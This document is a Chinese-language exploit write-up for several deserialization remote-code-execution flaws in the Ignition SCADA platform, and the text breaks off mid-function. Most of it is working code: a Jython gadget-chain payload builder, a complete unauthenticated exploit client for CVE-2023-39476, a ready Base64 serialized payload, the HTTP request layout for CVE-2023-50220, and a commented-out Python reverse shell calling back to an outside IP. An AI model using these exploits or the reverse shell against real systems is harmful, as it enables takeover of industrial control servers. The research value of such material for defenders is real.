1
概述
Ignition 是一套全面的工业自动化和数据集成平台,不仅支持跨平台使用,还提供了灵活的模块化设计。它集成了SCADA(监控控制与数据采集)系统和HMI(人机界面)功能,使得用户可以轻松实现实时数据监控、设备控制和工艺管理。Ignition 支持多种工业通信协议,便于与各类设备进行连接,同时其直观的可视化工具让用户能够快速设计出符合需求的界面,有效提升操作效率和决策质量。
Ignition近期的版本爆出多个反序列化漏洞,涉及到JavaSerializationCodec、AbstractGateway Function等多个类和接口:
-
CVE-2023-39473 Ignition < 8.1.31 AbstractGatewayFunction 反序列化远程命令执行
-
CVE-2023-39475 Ignition 8.1.22-24 ParameterVersionJavaSerializationCodec 反序列化远程命令执行
-
CVE-2023-39476 Ignition 8.1.22-24 JavaSerializationCodec 反序列化远程命令执行
-
CVE-2023-50220 Ignition < 8.1.35 sample_sqlite_database 反序列化远程命令执行
2
环境搭建
首先从官网下载对应版本安装包,以8.1.30为例
https://inductiveautomation.com/downloads/archive/8.1.30
然后默认安装即可
3
Jython Gadgets Chain 分析
这几个漏洞都是用到了Jython这个链,在这统一分析下
Jython是一个流行的Java实现的Python解释器,允许在Java平台上运行Python代码。可以使用如下配置搭建
<dependency>
<groupId>org.python</groupId>
<artifactId>jython-standalone</artifactId>
<version>2.7.2</version>
</dependency>
调用栈
java.io.ObjectInputStream.readObject
java.util.PriorityQueue.readObject
java.util.PriorityQueue.heapify
java.util.PriorityQueue.siftDownUsingComparator
com.sun.proxy.$Proxy4.compare
org.python.core.PyMethod.invoke
org.python.core.PyMethod.__call__
org.python.core.PyMethod.instancemethod___call__
org.python.core.PyObject.__call__
org.python.core.PyBuiltinFunctionNarrow.__call__
org.python.core.BuiltinFunctions.__call__
org.python.core.__builtin__.eval
org.python.core.Py.runCode
前半部分的触发就是利用PriorityQueue的heapify触发比较器的compare方法,而把比较器设置为代理类,就能触发比较器的invoke方法。
构建一个PyMethod的代理类,接口类型为Comparator,在反序列化队列时,触发代理类compare方法的调用,从而进入到PyMethod#invoke里。然后就是后续构造BuiltinFunctions和pystring
利用PriorityQueue的heapify方法
-
触发条件:反序列化过程中,PriorityQueue对象被反序列化。在这一过程中,PriorityQueue的heapify方法会被调用,以确保队列满足堆的性质。
-
利用compare方法:heapify方法工作时,如果PriorityQueue中存在多个元素,它会尝试通过比较器(Comparator)来对这些元素进行排序。这里的关键在于,PriorityQueue被构造时使用了一个特殊的比较器,这个比较器实际上是一个代理类,其代理的目标是一个PyMethod对象。
构建代理类实现Comparator接口
-
代理类的作用:通过Java的动态代理机制,创建了一个实现了Comparator接口的代理类。这个代理类的compare方法被设计为调用PyMethod的invoke方法。
-
触发PyMethod的执行:当heapify方法在排序过程中调用compare方法时,实际上触发了代理类的invoke方法,该方法又进一步调用了PyMethod的invoke。这样,就实现了通过Java的序列化机制间接触发Python代码执行的效果。
执行Python代码
-
构造BuiltinFunctions和PyString:为了让PyMethod能够执行实际的Python代码,攻击者需要构造合适的Python环境。这包括但不限于BuiltinFunctions(提供Python内置函数的访问),以及PyString(用于表示Python中的字符串对象)等。
-
利用eval执行代码:最终,通过PyMethod调用链,可以到达__builtin__.eval,在这一步中,传递给eval的字符串被执行。由于eval能够执行任意Python代码,这就给攻击者提供了一个执行任意代码的机会。
import org.python.core.*;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.HashMap;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
PyMethod pyMethod = (PyMethod) unsafe.allocateInstance(PyMethod.class);
PyObject builtinFunctions = (PyObject) unsafe.allocateInstance(Class.forName("org.python.core.BuiltinFunctions"));
Field index = builtinFunctions.getClass().getSuperclass().getDeclaredField("index");
index.setAccessible(true);
index.set(builtinFunctions, 18);
pyMethod.__func__ = builtinFunctions;
pyMethod.im_class = new PyString().getType();
HashMap<Object, PyObject> _args = new HashMap<>();
// _args.put("rs", new PyString("print('Hello World')"));
_args.put("rs", new PyString("import os;nos.system('open -a /System/Applications/Calculator.app')"));
// 可以直接反弹shell windows的话把bash改成cmd.exe
// String reverseShell = "import os,socket,subprocess,threading;n" +
// "def s2p(s, p):n" +
// " while True:n" +
// " data = s.recv(1024)n" +
// " if len(data) > 0:n" +
// " p.stdin.write(data)n" +
// " p.stdin.flush()n" +
// "n" +
// "def p2s(s, p):n" +
// " while True:n" +
// " s.send(p.stdout.read(1))n" +
// "n" +
// "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)n" +
// "s.connect(("170.170.22.203", 1389))n" +
// "n" +
// "p=subprocess.Popen(["/bin/bash"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)n" +
// "n" +
// "s2p_thread = threading.Thread(target=s2p, args=[s, p])n" +
// "s2p_thread.daemon = Truen" +
// "s2p_thread.start()n" +
// "n" +
// "p2s_thread = threading.Thread(target=p2s, args=[s, p])n" +
// "p2s_thread.daemon = Truen" +
// "p2s_thread.start()n" +
// "n" +
// "try:n" +
// " p.wait()n" +
// "except KeyboardInterrupt:n" +
// " s.close()";
// _args.put("rs", new PyString(reverseShell));
PyStringMap locals = new PyStringMap(_args);
Object[] queue = new Object[] {
new PyString("__import__('code').InteractiveInterpreter().runcode(rs)')"),
locals,
};
// create dynamic proxy
Comparator o = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(),
new Class[]{Comparator.class},
pyMethod);
// set comparator
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, o);
Field f = priorityQueue.getClass().getDeclaredField("queue");
f.setAccessible(true);
f.set(priorityQueue, queue);
Field f2 = priorityQueue.getClass().getDeclaredField("size");
f2.setAccessible(true);
f2.set(priorityQueue, 2);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
byte[] bytes = byteArrayOutputStream.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
有几个漏洞需要传入Base64编码的反序列化载荷 将之前的priorityQueue处理下即可
try {
ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
ObjectOutputStream objStream = new ObjectOutputStream(byteStream);
objStream.writeObject(priorityQueue);
objStream.flush();
byte[] serializedBytes = byteStream.toByteArray();
String base64Encoded = Base64.getEncoder().encodeToString(serializedBytes);
System.out.println(base64Encoded);
} catch (Exception e) {
e.printStackTrace();
}
比如 whoami > c://whoami.txt 生成的载荷为
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc30AAAABABRqYXZhLnV0aWwuQ29tcGFyYXRvcnhyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyABhvcmcucHl0aG9uLmNvcmUuUHlNZXRob2TmiR4qA6EacwIAA0wACF9fZnVuY19fdAAaTG9yZy9weXRob24vY29yZS9QeU9iamVjdDtMAAhfX3NlbGZfX3EAfgAITAAIaW1fY2xhc3NxAH4ACHhyABhvcmcucHl0aG9uLmNvcmUuUHlPYmplY3SfoZG0yMpaXgIAAkwACmF0dHJpYnV0ZXN0ABJMamF2YS9sYW5nL09iamVjdDtMAAdvYmp0eXBldAAYTG9yZy9weXRob24vY29yZS9QeVR5cGU7eHBwcHNyACBvcmcucHl0aG9uLmNvcmUuQnVpbHRpbkZ1bmN0aW9ucy7a048zwV3vAgAAeHIAJG9yZy5weXRob24uY29yZS5QeUJ1aWx0aW5GdW5jdGlvblNldKDFmAjWbPEJAgABSQAFaW5kZXh4cgAnb3JnLnB5dGhvbi5jb3JlLlB5QnVpbHRpbkZ1bmN0aW9uTmFycm933vpBPcKIlwYCAAB4cgAhb3JnLnB5dGhvbi5jb3JlLlB5QnVpbHRpbkZ1bmN0aW9uUaLVAkvaMOECAAB4cgAhb3JnLnB5dGhvbi5jb3JlLlB5QnVpbHRpbkNhbGxhYmxlstm62HE/kjICAAJMAANkb2N0ABJMamF2YS9sYW5nL1N0cmluZztMAARpbmZvdAAoTG9yZy9weXRob24vY29yZS9QeUJ1aWx0aW5DYWxsYWJsZSRJbmZvO3hxAH4ACXBwcHAAAAAScHNyACNvcmcucHl0aG9uLmNvcmUuUHlUeXBlJFR5cGVSZXNvbHZlcnuBU8WeYmr5AgADTAAGbW9kdWxlcQB+ABJMAARuYW1lcQB+ABJMABB1bmRlcmx5aW5nX2NsYXNzdAARTGphdmEvbGFuZy9DbGFzczt4cHQAC19fYnVpbHRpbl9fdAADc3RydnIAGG9yZy5weXRob24uY29yZS5QeVN0cmluZ0VnAua8VQypAgACTAAGZXhwb3J0dAAZTGphdmEvbGFuZy9yZWYvUmVmZXJlbmNlO0wABnN0cmluZ3EAfgASeHIAHG9yZy5weXRob24uY29yZS5QeUJhc2VTdHJpbmckhIA1NCQU7QIAAHhyABpvcmcucHl0aG9uLmNvcmUuUHlTZXF1ZW5jZVVaTxROQz7hAgABTAAJZGVsZWdhdG9ydAAnTG9yZy9weXRob24vY29yZS9TZXF1ZW5jZUluZGV4RGVsZWdhdGU7eHEAfgAJdwQAAAADc3EAfgAacHEAfgAXc3IAL29yZy5weXRob24uY29yZS5QeVNlcXVlbmNlJERlZmF1bHRJbmRleERlbGVnYXRlbepXKwpypoACAAFMAAZ0aGlzJDB0ABxMb3JnL3B5dGhvbi9jb3JlL1B5U2VxdWVuY2U7eHIAJW9yZy5weXRob24uY29yZS5TZXF1ZW5jZUluZGV4RGVsZWdhdGW999CJdNq/jgIAAHhwcQB+ACBwdAA5X19pbXBvcnRfXygnY29kZScpLkludGVyYWN0aXZlSW50ZXJwcmV0ZXIoKS5ydW5jb2RlKHJzKScpc3IAG29yZy5weXRob24uY29yZS5QeVN0cmluZ01hcJE1xs8kHUMzAgABTAAFdGFibGV0ACRMamF2YS91dGlsL2NvbmN1cnJlbnQvQ29uY3VycmVudE1hcDt4cgAcb3JnLnB5dGhvbi5jb3JlLkFic3RyYWN0RGljdDUtefOX2TXrAgAAeHEAfgAJcHNxAH4AFXEAfgAYdAAJc3RyaW5nbWFwdnEAfgAmc3IAJmphdmEudXRpbC5jb25jdXJyZW50LkNvbmN1cnJlbnRIYXNoTWFwZJneEp2HKT0DAANJAAtzZWdtZW50TWFza0kADHNlZ21lbnRTaGlmdFsACHNlZ21lbnRzdAAxW0xqYXZhL3V0aWwvY29uY3VycmVudC9Db25jdXJyZW50SGFzaE1hcCRTZWdtZW50O3hwAAAADwAAABx1cgAxW0xqYXZhLnV0aWwuY29uY3VycmVudC5Db25jdXJyZW50SGFzaE1hcCRTZWdtZW50O1J3P0Eymzl0AgAAeHAAAAAQc3IALmphdmEudXRpbC5jb25jdXJyZW50LkNvbmN1cnJlbnRIYXNoTWFwJFNlZ21lbnQfNkyQWJMpPQIAAUYACmxvYWRGYWN0b3J4cgAoamF2YS51dGlsLmNvbmN1cnJlbnQubG9ja3MuUmVlbnRyYW50TG9ja2ZVqCwsyGrrAgABTAAEc3luY3QAL0xqYXZhL3V0aWwvY29uY3VycmVudC9sb2Nrcy9SZWVudHJhbnRMb2NrJFN5bmM7eHBzcgA0amF2YS51dGlsLmNvbmN1cnJlbnQubG9ja3MuUmVlbnRyYW50TG9jayROb25mYWlyU3luY2WIMudTe78LAgAAeHIALWphdmEudXRpbC5jb25jdXJyZW50LmxvY2tzLlJlZW50cmFudExvY2skU3luY7geopSqRFp8AgAAeHIANWphdmEudXRpbC5jb25jdXJyZW50LmxvY2tzLkFic3RyYWN0UXVldWVkU3luY2hyb25pemVyZlWoQ3U/UuMCAAFJAAVzdGF0ZXhyADZqYXZhLnV0aWwuY29uY3VycmVudC5sb2Nrcy5BYnN0cmFjdE93bmFibGVTeW5jaHJvbml6ZXIz36+5rW1vqQIAAHhwAAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAAB0AAJyc3NxAH4AGnBxAH4AF3NxAH4AIXEAfgBacHQAL2ltcG9ydCBvczsKb3Muc3lzdGVtKCd3aG9hbWkgPiBjOi8vd2hvYW1pLnR4dCcpcHB4eA==
4
开启远程调试
服务端开启调试
修改C:Program FilesInductive AutomationIgnitiondataignition.conf
取消下边两行的注释 开启远程调试 然后重启
将上边框中的jar包打包传回本地
lib/wrapper.jar
lib/core/common/*
lib/core/gateway/*
本地新建项目
本地新建Java项目
新建lib文件夹 并把上面提到的jar包放进去
添加为库
可以试着搜一下jar包中的内容 如果搜不到 可以尝试(不一定有用)安下Java Decompiler插件 并重新索引 File > Invalidate Caches / Restart... > Invalidate and Restart
配置Idea远程调试
然后在jar包里代码上下断点调试即可
建议本地跟远程的JDK一致,我刚开始本地是Mac下的Zulu JDK,调试的时候会遇到字节码不一致的情况,建议安装openjdk11
5
CVE-2023-39475
CVE-2023-39475 和 CVE-2023-39476 都是在 2023 年 Pwn2Own 迈阿密赛筹备过程中被发现和利用的。
影响版本为8.1.22-8.1.24,攻击者无需身份验证即可执行任意代码。
漏洞公开者同时发布了利用工具DoubleTrouble,但是在多个版本上都没有利用成功,还是重新分析下。
环境配置
传入策略设置为unrestricted、取消勾选SSL(非必须)
分析
入口在onDataReceived
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream inputStream = req.getInputStream();
OutputStream outputStream = resp.getOutputStream();
ProtocolHeader header = null;
try {
header = ProtocolHeader.decode(inputStream);
} catch (LocalException e) {
getLogger().error("onDataReceived", "Could not process protocol header from incoming data channel message", e);
}
if (header != null) {
String connectionId = header.getSenderId();
startMdc(connectionId);
Optional<WebSocketConnection> optConnection = getFactory().getIncomingBySystemName(connectionId); // 0
if (optConnection.isEmpty()) {
if (getLogger().isDebugEnabled()) {
getLogger().debug("doPost",
String.format("Data channel error: connection id '%s' was not found on this server. The web socket may be trying to reconnect", new Object[] { connectionId }), null);
}
} else {
if (getLogger().isTraceEnabled())
getLogger().trace("doPost", String.format("Received data message [%d] from %s at %s", new Object[] {
Short.valueOf(header.getMessageId()), header
.getSenderId(), header
.getSenderURL()
}));
((WebSocketConnection)optConnection.get()).onDataReceived(header, inputStream, outputStream); // 1
}
clearMdc();
}
}
需要满足0行optConnection = getFactory().getIncomingBySystemName(connectionId)不为空 然后进入1行onDataReceived
public void onDataReceived(ProtocolHeader header, InputStream inputStream, OutputStream outputStream) {
//...
try {
try {
reserveCapacity();
acquired = true;
TransportMessage msg = TransportMessage.createFrom(new MeterTrackedInputStream(inputStream, this.incomingMeter, true)); // 2
CompletableFuture<Void> routeFuture = null;
Instant routingStartTime = Instant.now();
try {
setSecurityContextInfo();
Instant start = Instant.now();
routeFuture = forward(header.getTargetAddress(), msg); // 3
对于3行的forward
protected CompletableFuture<Void> forward(String targetAddress, TransportMessage msg) { return this.receiveHandler.handle(targetAddress, msg); }
handle
public CompletableFuture<Void> handle(String targetAddress, TransportMessage data) {
CompletableFuture<Void> ret = new CompletableFuture<Void>();
ServerId serverId = ServerId.fromString(targetAddress);
try { ServerMessage sm = ServerMessage.createFrom(data); // 4
ServerId sendingServer = ServerId.fromString((String)sm.getHeaderValues().get("_source_"));
MDC.MDCCloseable ignored = MDC.putCloseable("gan-remote-gateway-name", sendingServer
.toDescriptiveString());
try { updateSecurityContext(sm);
if (this.centralManager.isEndOfRoute(serverId)) {
Exception errResult = null;
if (sm.getIntentName().startsWith("_conn_")) {
handleConnectionMessage(sm); // 5
handleConnectionMessage
protected void handleConnectionMessage(ServerMessage message) throws Exception {
if (this.conn != null) {
boolean available; String intentName = message.getIntentName();
if ("_conn_init".equalsIgnoreCase(intentName)) {
setRemoteServerAddress(ServerId.fromString(message.getHeaderValue("_source_")));
ConnectionEvent.ConnectStatus stat = this.conn.getStatus();
info(String.format("Connection successfully established. Remote server name: %s. Connection status: %s", new Object[] { this.remoteServerAddress, stat }));
}
else if ("_conn_svr".equalsIgnoreCase(intentName)) { // 6
setRemoteServerAddress(ServerId.fromString(message.getHeaderValue("_source_")));
available = "true".equals(message.getHeaderValue("replyrequested"));
ServerRouteDetails[] routes = (ServerRouteDetails[])message.decodePayload(); // 7
6行的intentName需要设置为_conn_svr
对于7行的decodePayload
public <T> T decodePayload() throws Exception {
MessageCodec codec = MessageCodecFactory.get().getCodec(getCodecName()); // 8
return (T)codec.decode(getSourceStream()); //9
}
可以将codec设置成不同的MessageCodec类
在CVE-2023-39475中是ParameterVersionJavaSerializationCodec (_js_tps_v3)
protected static class ParameterVersionJavaSerializationCodec
implements MessageCodec {
public static final String ID = "_js_tps_v3";
protected static final Logger logger = Logger.getLogger("metro.Codecs.JavaSerializationCodec");
public String getId() { return "_js_tps_v3"; }
public Object decode(InputStream inputStream) throws Exception {
in = null;
try {
in = createObjectInputStream(inputStream);
return in.readObject(); // 11
} finally {
IOUtils.closeQuietly(in);
}
}
就到了我们需要的readObject 了
利用
获取systemid可以通过/system/gwinfo接口获取
也可以通过以下接口获取
String name = "qq";
String uuid = "1a7e39e1-1ca4-405f-bfb3-6d971d6e7211";
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(String.format("%s/system/ws-control-servlet?name=%s&uuid=%s&url=http://localhost:8088/system", url, name, uuid)))
.GET()
.header("Connection", "Upgrade").header("Sec-WebSocket-Version", "13").header("Sec-WebSocket-Key", "cJA5QIfEfnrZr7rrJ+3urg==").header("Upgrade", "websocket")
.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")
.build();
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
List<String> headerForRemoteSystemID = response.headers().map().get("remoteSystemId");
if (headerForRemoteSystemID.size() < 1) {
System.out.println("[X] can't get remoteSystemId");
}
String remoteSystemId = headerForRemoteSystemID.get(0).split("\|")[0];
System.out.println("remoteSystemId=" + remoteSystemId);
6
CVE-2023-39476
跟CVE-2023-39475非常相似 MessageCodec 类换成 JavaSerializationCodec
public class JavaSerializationCodec
implements MessageCodec
{
public static final String ID = "_js_";
protected static final Logger logger = Logger.getLogger("metro.Codecs.JavaSerializationCodec");
//...
public Object decode(InputStream inputStream) throws Exception {
in = null;
try {
in = createObjectInputStream(inputStream);
return in.readObject(); // 10
} finally {
IOUtils.closeQuietly(in);
}
}
import org.python.core.PyMethod;
import org.python.core.PyObject;
import org.python.core.PyString;
import org.python.core.PyStringMap;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.time.Duration;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.PriorityQueue;
public class MainMain {
public static void main(String[] args) throws Exception {
String url = "http://170.170.22.201:8088";
System.setProperty("jdk.httpclient.allowRestrictedHeaders", "Connection,Upgrade");
HttpClient httpClient = HttpClient.newBuilder().connectTimeout(Duration.ofSeconds(30))
// .proxy(ProxySelector.of(InetSocketAddress.createUnresolved("127.0.0.1", 8080)))
.build();
String name = "qq";
String uuid = "1a7e39e1-1ca4-405f-bfb3-6d971d6e7211";
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(String.format("%s/system/ws-control-servlet?name=%s&uuid=%s&url=http://localhost:8088/system", url, name, uuid)))
.GET()
.header("Connection", "Upgrade").header("Sec-WebSocket-Version", "13").header("Sec-WebSocket-Key", "cJA5QIfEfnrZr7rrJ+3urg==").header("Upgrade", "websocket")
.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")
.build();
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
List<String> headerForRemoteSystemID = response.headers().map().get("remoteSystemId");
if (headerForRemoteSystemID.size() < 1) {
System.out.println("[X] can't get remoteSystemId");
}
String remoteSystemId = headerForRemoteSystemID.get(0).split("\|")[0];
System.out.println("remoteSystemId=" + remoteSystemId);
ByteArrayOutputStream stream = new ByteArrayOutputStream();
DataOutputStream dataOutputStream = new DataOutputStream(stream);
dataOutputStream.writeInt(18753); // magicBytes
dataOutputStream.writeInt(1); // protocolVersion
dataOutputStream.writeShort(1);
dataOutputStream.writeInt(1);
dataOutputStream.writeInt(1);
dataOutputStream.writeByte(1);
dataOutputStream.writeShort(name.length());
dataOutputStream.writeChars(name);
dataOutputStream.writeShort(remoteSystemId.length());
dataOutputStream.writeChars(remoteSystemId);
dataOutputStream.writeShort(1);
dataOutputStream.writeChar(47);
dataOutputStream.writeInt(1);
Class<?> aClass = Class.forName("com.inductiveautomation.metro.impl.transport.ServerMessage$ServerMessageHeader");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructors()[1];
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance("_conn_svr", "_js_");
Field headersValues = o.getClass().getDeclaredField("headersValues");
headersValues.setAccessible(true);
HashMap map = (HashMap) headersValues.get(o);
map.put("_source_", remoteSystemId);
map.put("replyrequested", "true");
byte[] bs = serialize(o);
dataOutputStream.writeInt(bs.length);
dataOutputStream.write(bs);
String rce_cmd = "whoami > c://1.txt";
byte[] serialize = serialize(getObj(rce_cmd));
dataOutputStream.write(serialize);
HttpRequest request1 = HttpRequest.newBuilder(URI.create(url + "/system/ws-datachannel-servlet"))
.POST(HttpRequest.BodyPublishers.ofByteArray(stream.toByteArray()))
.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")
.build();
HttpResponse<String> httpResponse = httpClient.send(request1, HttpResponse.BodyHandlers.ofString());
System.out.println(httpResponse.body());
}
public static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream stream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(stream);
objectOutputStream.writeObject(o);
objectOutputStream.flush();
objectOutputStream.flush();
stream.flush();
return stream.toByteArray();
}
public static Object getObj(String cmd) throws Exception {
Class<?> BuiltinFunctionsclazz = Class.forName("org.python.core.BuiltinFunctions");
Constructor<?> c = BuiltinFunctionsclazz.getDeclaredConstructors()[0];
c.setAccessible(true);
Object builtin = c.newInstance("rce", 18, 1);
PyMethod handler = new PyMethod((PyObject) builtin, null, new PyString().getType());
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
HashMap<Object, PyObject> myargs = new HashMap<>();
myargs.put("cmd", new PyString(cmd));
PyStringMap locals = new PyStringMap(myargs);
Object[] queue = new Object[]{new PyString("__import__('os').system(cmd)"), locals,};
Field field = priorityQueue.getClass().getDeclaredField("queue");
field.setAccessible(true);
field.set(priorityQueue, queue);
Field declaredField = priorityQueue.getClass().getDeclaredField("size");
declaredField.setAccessible(true);
declaredField.set(priorityQueue, 2);
return priorityQueue;
}
}
7
CVE-2023-50220
漏洞影响版本为Ignition < 8.1.35,需要后台权限(发包时携带cookie)
分析
入口在 com.inductiveautomation.ignition.gateway.web.pages.status.routes.StoreAndForawrdRoutes
private String importData( RequestContext request, HttpServletResponse response, String storeName) throws IOException, ServletException {
HttpServletRequest r = request.getRequest();
Part part = r.getPart("file");
try {
request.getGatewayContext().getHistoryManager().importQuarantinedFromXML(storeName, part.getInputStream()); // 1
response.sendRedirect("/web/status/con.history?store=" + storeName);
} catch (Exception var7) {
LoggerFactory.getLogger(this.getClass()).error("Error importing data from xml", var7);
}
return "";
}
需要能走到1行
importQuarantinedFromXML
public void importQuarantinedFromXML(String dataStore, InputStream is) throws IOException {
DataSink sink = this.getStore(dataStore);
QuarantineManager qMgr = sink == null ? null : sink.getQuarantineManager();
if (qMgr instanceof QuarantineStore) {
try {
LoggerEx.MDCClosable mdc = this.log.mdcPutClosable("store-forward-name", sink.getPipelineName());
try {
QuarantinedXmlImporter importer = new QuarantinedXmlImporter(this.context, this, (QuarantineStore)qMgr);
importer.doImport(is);
} catch (Throwable var9) {
if (mdc != null) {
try {
mdc.close();
} catch (Throwable var8) {
var9.addSuppressed(var8);
}
}
throw var9;
}
if (mdc != null) {
mdc.close();
}
} catch (Exception var10) {
this.log.error(String.format("Error importing quarantined data for store '%s'", dataStore), var10);
}
} else {
throw new IOException(String.format("Data store '%s' not found, or does not currently support quarantined data", dataStore));
}
}
getStore
public DataSink getStore( String storeName) {
synchronized(this.dataStoreEngines) {
DataSink sink = storeName == null ? null : (DataSink)this.dataStoreEngines.get(storeName.toLowerCase());
return sink;
}
}
调试发现Map dataStoreEngines里只有一个值是sample_sqlite_database
所以请求URL为 /data/status/store_forward_import/sample_sqlite_database
URL有了,看一下能被反序列化的数据
// org.xml.sax.helpers.DefaultHandler, org.xml.sax.ContentHandler
public void startElement(String uri, String localName, String name, Attributes attributes) throws SAXException {
getLogger().tracef("Start: %s", name);
if (this.currentHistoryElem != null) {
this.dataDepth++;
}
if (!HistoricalDataXmlWriter.DATA_ELEMENT.equals(name) || this.currentHistoryElem != null) {
if (this.currentHistoryElem != null) {
getDelegate().startElement(uri, localName, name, attributes);
return;
}
return;
}
String flavor = attributes.getValue(HistoricalDataXmlWriter.DATA_ATTR_FLAVOR); // 2
String subType = attributes.getValue(HistoricalDataXmlWriter.DATA_ATTR_SUBTYPE); // 3
HistoryFlavor f = this.mgr.lookupFlavor(flavor, subType);
SimpleXMLReader<HistoricalData> flavorHandler = f == null ? null : f.getXmlImportHandler(this.context);
getLogger().debugf("Starting data element for flavor '%s' (located with [%s, %s])", f, flavor, subType);
if (flavorHandler == null) {
getLogger().warnf("No import handler found for historical data flavor '%s/%s', data will not be imported.", flavor, subType);
}
this.currentHistoryElem = new HistoryDataElement(f, flavorHandler);
this.dataDepth++;
}
/* loaded from: gateway-api-8.1.31.jar:com/inductiveautomation/ignition/gateway/history/HistoricalDataXmlWriter.class */
public class HistoricalDataXmlWriter extends SimpleXMLWriter {
public static final String DATA_ELEMENT = "data";
public static final String DATA_ATTR_FLAVOR = "flavor"; // 对应2行
public static final String DATA_ATTR_SUBTYPE = "subtype"; // 对应3行
public void startDataElement(HistoryFlavor flavor) throws Exception {
String[] strArr = new String[4];
strArr[0] = DATA_ATTR_FLAVOR;
strArr[1] = flavor.typeId();
strArr[2] = DATA_ATTR_SUBTYPE;
strArr[3] = flavor.subTypeId() == null ? "" : flavor.subTypeId();
startElement(DATA_ELEMENT, strArr);
}
}
lookupFlavor
/* loaded from: gateway-8.1.31.jar:com/inductiveautomation/ignition/gateway/history/HistoryManagerImpl.class */
public HistoryFlavor lookupFlavor(String type, String subtype) {
return this.flavorRegistry.get(flavorKey(type, subtype));
}
调试查看flavorRegistry的值
所以标签为 flavor="__datasourcedata__" subtype=""
继续查看HistoryFlavor类 发现序列化时会把数据base64编码后存在base64标签中
public void writeToXml(SimpleXMLWriter writer, HistoricalData data) throws Exception {
writer.writeElement("base64", Collections.emptyList(), Base64.encodeObject(data, 2));
}
因此载荷的结构如下
POST /data/status/store_forward_import/sample_sqlite_database HTTP/1.1
Host: 192.168.8.109:8088
Content-Length: 3787
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2aeh8v1eAg4aLbAc
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=node06kiau662mhsbsxzlgvmzn4x03.node0
Connection: close
------WebKitFormBoundary2aeh8v1eAg4aLbAc
Content-Disposition: form-data; name="file"; filename="xmldata"
Content-Type: text/xml
<data flavor="__datasourcedata__" subtype="">
<base64>反序列化载荷</base64>
</data>
------WebKitFormBoundary2aeh8v1eAg4aLbAc--
载荷处理的逻辑:
之前说到的1行对应的importQuarantinedFromXML
public void importQuarantinedFromXML(String dataStore, InputStream is) throws IOException {
DataSink sink = this.getStore(dataStore);
QuarantineManager qMgr = sink == null ? null : sink.getQuarantineManager();
if (qMgr instanceof QuarantineStore) {
try {
LoggerEx.MDCClosable mdc = this.log.mdcPutClosable("store-forward-name", sink.getPipelineName());
try {
QuarantinedXmlImporter importer = new QuarantinedXmlImporter(this.context, this, (QuarantineStore)qMgr);
importer.doImport(is);
} catch (Throwable var9) {
